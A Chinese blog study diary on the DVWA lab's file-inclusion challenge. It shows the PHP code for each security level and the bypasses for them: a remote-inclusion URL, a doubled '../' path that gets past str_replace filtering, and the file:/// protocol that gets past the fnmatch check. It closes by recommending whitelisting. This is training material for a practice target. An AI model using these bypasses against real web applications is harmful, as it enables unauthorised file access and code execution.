其他分享
首页 > 其他分享> > DVWA学习日记-文件包含(File Inclusion)

DVWA学习日记-文件包含(File Inclusion)

作者:互联网

文件包含(File Inclusion),一种代码处理方法,函数如include,requirede等参数名是文件名

漏洞文件名参数用户可控且过滤不严,被攻击者偷梁换柱。

准备首先在php.ini设置打开设置配置文件,在在配置文件中将allow_url_include =On 、allow_url_open=On
在这里插入图片描述

Low级别


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到服务器端对page参数没有做任何过滤。
首先我们按照正常流程依次点击file1.php、file2.php、file3.php发现在这里插入图片描述
即page参数的值是可控的,于是我们做一些尝试——访问test.php
在这里插入图片描述提示了出错信息找不到文件,表明我们可以利用文件包含漏洞并爆出了绝对路径表明我们可以利用文件包含漏洞
远程文件包含
在远程服务器127.0.0.1中上传一个phpinfo.txt文件
构造url
http://192.168.147.1/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.txt

Medium级别


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

可以看到过滤了一些字符如将…/ …\替换为空字符,即删除
当时由于他没有过滤单独的字符所以我们可以采用重写的方式绕过str_replace函数
…/./

High级别

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到High级别用fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会包含相应文件。
我们可以用file协议绕过来执行本地文件
File协议主要用于访问本地计算机中的文件基本格式如图file:///文件路径。
至于执行任意命令,需要配合文件上传漏洞,先上传文件后再利用file协议去包含

Impossible级别

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到Impossible级别采用白名单机制进行防护,杜绝了文件包含漏洞

修复

黑名单× 容易被绕过
白名单√

标签:文件,file,包含,Inclusion,DVWA,File,php,page
来源: https://blog.csdn.net/m0_46263419/article/details/109936510